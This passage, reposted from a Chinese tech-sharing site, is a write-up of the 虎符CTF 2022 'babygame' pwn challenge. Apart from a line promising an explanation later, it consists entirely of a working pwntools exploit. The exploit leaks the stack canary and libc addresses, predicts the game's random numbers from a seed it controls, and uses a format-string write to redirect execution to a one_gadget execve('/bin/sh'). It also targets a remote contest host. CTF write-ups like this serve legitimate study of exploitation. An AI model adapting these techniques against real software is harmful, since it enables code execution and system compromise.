虎符CTF 2022 babygame wp

2022-05-10 22:32:10 阅读：222 来源： 互联网

标签：babygame main 2022 libc start CTF base io NULL

先贴下exp,wp晚点来补

完整exp


    # Arch:     amd64-64-little
    # RELRO:    Full RELRO
    # Stack:    Canary found
    # NX:       NX enabled
    # PIE:      PIE enabled

from pwn import *
from ctypes import *
# from LibcSearcher import *
import sys
context(os = 'linux' , arch = 'amd64') 
context.terminal = ["tmux", "splitw", "-h"]
local = 1
if local == 0:
  io = remote('1.14.71.254',28788)
else:
  io = process("/mnt/c/Users/M1sceden4/Desktop/pwn/babygame_虎符CTF_2022")


libc_rand = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
payload_0 = b'a' * (0x120 - 0x18 + 0x1) 
io.sendlineafter("Please input your name:\n" , payload_0)

io.recvuntil(b'a'*(0x120 - 0x18 + 0x1))
canary = u64(io.recv(7).rjust(8 , b'\x00'))
stack = u64(io.recv(6).ljust(8 , b'\x00')) #canary会带着后面的rbp一起被输出


success('canary:\t' + hex(canary))
success('stack:\t' + hex(stack))
  # print(io.recv())
libc_rand.srand(0x6161616161616161)
for i in range(100):
    io.recvuntil("round {}: \n".format(i + 1))
    num = libc_rand.rand()
    if (num % 3) == 1:
        io.sendline('2')
    if (num % 3) == 2:
        io.sendline('0')
    if (num % 3) == 0:
        io.sendline('1')

'''one_gadget 
0xe3b2e execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b31 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b34 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''

elf = ELF("/mnt/c/Users/M1sceden4/Desktop/pwn/babygame_虎符CTF_2022")
pop_rdi_ret = 0x23b72
ret = 0x022679
#ret = 

payload_1 = b'%62c%8$hhn-%79$p' + p64(stack - 0x218) #?

io.sendlineafter('Good luck to you.\n' , payload_1)
# gdb.attach(io)
  # print(io.recv())
# print(io.recv())
io.recvuntil('-')
  # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

libc_start_main = int(io.recv(14) , 16) - 243
  # libc = LibcSearcher('__libc_start_main' , libc_start_main)
libc = elf.libc
success('libc_start_main:\t' + hex(libc_start_main))
success('libc.start_main:\t' + hex(libc.sym['__libc_start_main']))
  # libc_base = libc_start_main - libc.dump('__libc_start_main')
libc_base = libc_start_main - libc.sym['__libc_start_main']
success("libc_base:\t" + hex(libc_base))
  # system = libc.dump('system') + libc_base
'''system = libc.sym['system'] + libc_base
  # bin_sh = libc.dump('str_bin_sh') + libc_base
bin_sh = next(libc.search(b'/bin/sh\x00')) + libc_base
'''
ret += libc_base
pop_rdi_ret += libc_base

# one_gadget = libc_base + 0xe3b31
#  payload_2 = fmtstr_payload(6 , {stack : one_gadget})
#payload_2 =  b'b' * (0x120 - 0x18) + p64(canary) + p64(0)*3 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
one_gadget = [0xE3B2E + libc_base, 0xE3B31 + libc_base, 0xE3B34 + libc_base]
payload2 = fmtstr_payload(6,{stack - 0x218:one_gadget[1]})
io.sendlineafter('Good luck to you.\n' , payload2)
io.interactive()

标签：babygame,main,2022,libc,start,CTF,base,io,NULL
来源： https://www.cnblogs.com/M1sceden4/p/16255702.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

ICode9

虎符CTF 2022 babygame wp

完整exp